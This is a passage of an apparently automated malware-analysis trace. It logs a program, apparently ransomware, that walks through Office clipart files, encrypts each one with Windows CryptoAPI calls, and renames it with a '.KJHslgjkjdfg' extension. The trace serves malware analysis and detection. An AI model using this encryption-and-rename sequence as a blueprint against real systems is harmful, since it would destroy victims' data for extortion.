0x9adfd0 [0186.929] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.929] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.929] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0186.931] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.931] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.931] GetProcessHeap () returned 0x990000 [0186.931] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.931] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.931] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.931] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.931] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.932] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.932] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.932] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.932] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.932] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.932] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa54, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa54, lpOverlapped=0x0) returned 1 [0186.932] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa60, dwBufLen=0xa60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa60) returned 1 [0186.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.932] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa60, lpOverlapped=0x0) returned 1 [0186.933] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.933] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.933] SetEndOfFile (hFile=0x130) returned 1 [0186.935] GetProcessHeap () returned 0x990000 [0186.935] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.935] GetProcessHeap () returned 0x990000 [0186.935] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.935] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.kjhslgjkjdfg")) returned 1 [0186.936] CloseHandle (hObject=0x130) returned 1 [0186.936] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0186.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.937] GetProcessHeap () returned 0x990000 [0186.937] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.937] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.937] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.937] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.939] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.939] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.939] GetProcessHeap () returned 0x990000 [0186.939] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.939] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.939] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.940] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.940] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.940] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.940] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.940] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.940] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.940] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.940] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.940] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.940] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1498, lpOverlapped=0x0) returned 1 [0186.941] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14a0) returned 1 [0186.941] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.941] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x14a0, lpOverlapped=0x0) returned 1 [0186.942] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.942] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.942] SetEndOfFile (hFile=0x130) returned 1 [0186.944] GetProcessHeap () returned 0x990000 [0186.944] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.944] GetProcessHeap () returned 0x990000 [0186.945] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.kjhslgjkjdfg")) returned 1 [0186.946] CloseHandle (hObject=0x130) returned 1 [0186.946] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0186.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.949] GetProcessHeap () returned 0x990000 [0186.949] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.949] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.949] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.949] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.954] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.954] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.954] GetProcessHeap () returned 0x990000 [0186.954] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.954] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.954] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.954] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.955] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.955] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.955] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.955] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.955] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.955] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.955] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbc8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbc8, lpOverlapped=0x0) returned 1 [0186.955] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbd0) returned 1 [0186.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.956] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbd0, lpOverlapped=0x0) returned 1 [0186.956] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.956] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.956] SetEndOfFile (hFile=0x130) returned 1 [0186.958] GetProcessHeap () returned 0x990000 [0186.958] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.958] GetProcessHeap () returned 0x990000 [0186.958] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.kjhslgjkjdfg")) returned 1 [0186.959] CloseHandle (hObject=0x130) returned 1 [0186.959] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0186.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.959] GetProcessHeap () returned 0x990000 [0186.959] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.959] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.960] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.960] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0186.981] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.981] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.981] GetProcessHeap () returned 0x990000 [0186.981] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.981] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.981] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.981] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.981] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.981] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.981] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.982] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.982] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.982] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.982] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.982] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.982] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xec4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xec4, lpOverlapped=0x0) returned 1 [0186.982] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xed0, dwBufLen=0xed0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xed0) returned 1 [0186.982] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.982] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xed0, lpOverlapped=0x0) returned 1 [0186.982] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.982] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.982] SetEndOfFile (hFile=0x130) returned 1 [0186.986] GetProcessHeap () returned 0x990000 [0186.986] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.986] GetProcessHeap () returned 0x990000 [0186.986] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.986] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.kjhslgjkjdfg")) returned 1 [0186.992] CloseHandle (hObject=0x130) returned 1 [0186.992] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0186.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.993] GetProcessHeap () returned 0x990000 [0186.993] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.993] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.993] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0186.996] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.996] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.996] GetProcessHeap () returned 0x990000 [0186.996] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.996] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.996] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.996] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.996] WriteFile (in: 